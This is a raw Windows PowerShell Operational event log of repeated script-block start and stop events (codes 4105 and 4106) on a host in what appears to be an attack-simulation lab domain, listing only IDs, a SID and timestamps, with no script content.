LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026651
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026649
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026648
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026635
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026619
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026605
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026603
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026602
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
